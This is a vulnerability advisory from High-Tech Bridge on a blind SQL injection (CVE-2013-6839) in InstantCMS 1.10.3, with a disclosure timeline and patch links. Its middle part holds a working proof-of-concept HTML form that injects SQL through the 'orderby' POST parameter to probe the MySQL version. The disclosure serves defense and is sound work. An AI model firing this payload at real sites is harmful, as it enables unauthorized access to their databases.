Advisory ID: HTB23185
Product: InstantCMS
Vendor: InstantSoft
Vulnerable Version(s): 1.10.3 and probably prior
Tested Version: 1.10.3
Advisory Publication:  November 20, 2013  [without technical details]
Vendor Notification: November 20, 2013 
Vendor Patch: November 21, 2013 
Public Disclosure: December 11, 2013 
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2013-6839
Risk Level: High 
CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered blind SQL injection vulnerability in InstantCMS, which can be exploited to perform SQL Injection attacks, alter SQL requests and compromise vulnerable application. 


1) SQL Injection in InstantCMS: CVE-2013-6839

The vulnerability exists due to insufficient filtration of "orderby" HTTP POST parameter passed to "/catalog/[id]" URL. A remote unauthenticated attacker can execute arbitrary SQL commands in application's database.

Simple exploit code below uses blind SQL injection exploitation technique, and will display different order of records on the page if MySQL version is 5.*:


<form action="http://[host]/catalog/2" method="post" name="main">
<input type="hidden" name="orderby"  value="(-pubdate*(substring(version(),1,1)=5))">
<input type="hidden" name="orderto"  value="asc">
<input type="submit" id="btn">
</form>


-----------------------------------------------------------------------------------------------

Solution:

Apply patch for InstantCMS 1.10.3:
http://www.instantcms.ru/download/patch/security_update_for_iCMS_1.10.3_21-11-2013.zip

InstantCMS 1.10.3 downloaded after 21/11/2013 is patched [without version/release modification] and is not vulnerable.

More Information:
http://www.instantcms.ru/novosti/security-update-1-10-3.html
http://trac.instantcms.ru/changeset/1376

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23185 - https://www.htbridge.com/advisory/HTB23185 - SQL Injection in InstantCMS.
[2] InstantCMS - http://www.instantcms.ru/ - InstantCMS is a free open-source system for managing Internet communities and building social networking website.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.